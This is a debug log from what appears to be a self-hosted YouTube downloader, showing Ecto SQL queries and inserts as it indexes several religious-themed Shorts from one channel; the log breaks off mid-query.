19:52:15.756 [debug] QUERY OK source="sources" db=0.2ms idle=18.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:15.757 [debug] QUERY OK source="media_profiles" db=0.3ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:52:15.757 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1] 19:52:15.757 [debug] Current batch of media processed. Will check again in 1000ms 19:52:16.758 [debug] Current batch of media processed. Will check again in 1000ms 19:52:17.759 [debug] Current batch of media processed. Will check again in 1000ms 19:52:17.903 [info] {"source":"oban","duration":1116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:18.760 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 173, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", "id" => "uObiA41rItQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/uObiA41rItQ", "playlist_index" => 2, "timestamp" => 1749157148, "title" => "Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "upload_date" => "20250605"} 19:52:18.760 [debug] QUERY OK source="sources" db=0.2ms idle=1978.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 19:52:18.761 [debug] QUERY OK source="sources" db=0.1ms idle=1978.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:18.761 [debug] QUERY OK source="media_items" db=0.1ms idle=1021.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:59:08Z], 1] 19:52:18.763 [debug] QUERY OK source="media_items" db=1.3ms idle=858.4ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "4a07fb56-e495-48ce-8045-eb5e2daab2b1", "uObiA41rItQ", 173, false, "https://www.youtube.com/shorts/uObiA41rItQ", 2, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:59:08Z], ~U[2026-08-20 02:52:18Z], ~U[2026-08-20 02:52:18Z], "", "Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "uObiA41rItQ", 173, false, "https://www.youtube.com/shorts/uObiA41rItQ", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", true, 1, ~U[2025-06-05 20:59:08Z]] 19:52:18.763 [debug] QUERY OK source="sources" db=0.2ms idle=22.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:18.764 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:52:18.764 [debug] QUERY OK source="media_items" db=0.1ms idle=2.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2] 19:52:18.764 [debug] Current batch of media processed. Will check again in 1000ms 19:52:19.765 [debug] Current batch of media processed. Will check again in 1000ms 19:52:20.766 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", "id" => "vmwlPoPSyiY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/vmwlPoPSyiY", "playlist_index" => 3, "timestamp" => 1749155297, "title" => "Demons. Pt. 8. Melchizedek pt.2", "upload_date" => "20250605"} 19:52:20.767 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=984.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 19:52:20.767 [debug] QUERY OK source="sources" db=0.1ms idle=985.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:20.768 [debug] QUERY OK source="media_items" db=0.1ms idle=985.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:28:17Z], 1] 19:52:20.769 [debug] QUERY OK source="media_items" db=0.6ms idle=985.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt. 8. Melchizedek pt.2", "58aef390-1d9b-4555-8b20-73c0f99d94be", "vmwlPoPSyiY", 180, false, "https://www.youtube.com/shorts/vmwlPoPSyiY", 3, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:28:17Z], ~U[2026-08-20 02:52:20Z], ~U[2026-08-20 02:52:20Z], "", "Demons. Pt. 8. Melchizedek pt.2", "vmwlPoPSyiY", 180, false, "https://www.youtube.com/shorts/vmwlPoPSyiY", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", true, 1, ~U[2025-06-05 20:28:17Z]] 19:52:20.769 [debug] QUERY OK source="sources" db=0.1ms idle=25.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:20.769 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:52:20.770 [debug] QUERY OK source="media_items" db=0.1ms idle=2.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [3] 19:52:20.770 [debug] Current batch of media processed. Will check again in 1000ms 19:52:21.771 [debug] Current batch of media processed. Will check again in 1000ms 19:52:22.772 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", "id" => "gjpV5R_MvW4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/gjpV5R_MvW4", "playlist_index" => 4, "timestamp" => 1749154082, "title" => "Demons. Pt.7 Melchizedek. Pt.1", "upload_date" => "20250605"} 19:52:22.773 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=990.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 19:52:22.773 [debug] QUERY OK source="sources" db=0.1ms idle=990.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:22.773 [debug] QUERY OK source="media_items" db=0.1ms idle=991.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:08:02Z], 1] 19:52:22.774 [debug] QUERY OK source="media_items" db=0.5ms idle=991.6ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.7 Melchizedek. Pt.1", "c3b0de2f-2797-4f23-b308-53d84015758c", "gjpV5R_MvW4", 180, false, "https://www.youtube.com/shorts/gjpV5R_MvW4", 4, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:08:02Z], ~U[2026-08-20 02:52:22Z], ~U[2026-08-20 02:52:22Z], "", "Demons. Pt.7 Melchizedek. Pt.1", "gjpV5R_MvW4", 180, false, "https://www.youtube.com/shorts/gjpV5R_MvW4", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", true, 1, ~U[2025-06-05 20:08:02Z]] 19:52:22.774 [debug] QUERY OK source="sources" db=0.1ms idle=27.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:22.775 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:52:22.775 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4] 19:52:22.775 [debug] Current batch of media processed. Will check again in 1000ms 19:52:23.776 [debug] Current batch of media processed. Will check again in 1000ms 19:52:24.777 [debug] Current batch of media processed. Will check again in 1000ms 19:52:25.778 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", "id" => "HUfMTGjP05Q", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/HUfMTGjP05Q", "playlist_index" => 5, "timestamp" => 1749151292, "title" => "Demons. Pt.6 Deliverance from demons😋🫵🏿", "upload_date" => "20250605"} 19:52:25.779 [debug] QUERY OK source="sources" db=0.3ms idle=1996.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 19:52:25.779 [debug] QUERY OK source="sources" db=0.2ms idle=1997.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:25.780 [debug] QUERY OK source="media_items" db=0.2ms idle=1997.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 19:21:32Z], 1] 19:52:25.781 [debug] QUERY OK source="media_items" db=0.5ms idle=1031.4ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.6 Deliverance from demons😋🫵🏿", "88c7a032-2568-45ed-8eed-800004ec76bb", "HUfMTGjP05Q", 180, false, "https://www.youtube.com/shorts/HUfMTGjP05Q", 5, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 19:21:32Z], ~U[2026-08-20 02:52:25Z], ~U[2026-08-20 02:52:25Z], "", "Demons. Pt.6 Deliverance from demons😋🫵🏿", "HUfMTGjP05Q", 180, false, "https://www.youtube.com/shorts/HUfMTGjP05Q", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", true, 1, ~U[2025-06-05 19:21:32Z]] 19:52:25.781 [debug] QUERY OK source="sources" db=0.1ms idle=30.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:25.781 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:52:25.782 [debug] QUERY OK source="media_items" db=0.2ms idle=2.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5] 19:52:25.782 [debug] Current batch of media processed. Will check again in 1000ms 19:52:26.783 [debug] Current batch of media processed. Will check again in 1000ms 19:52:27.784 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", "id" => "SpwLvxDOkYU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/SpwLvxDOkYU", "playlist_index" => 6, "timestamp" => 1749150533, "title" => "Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "upload_date" => "20250605"} 19:52:27.785 [debug] QUERY OK source="sources" db=0.3ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", 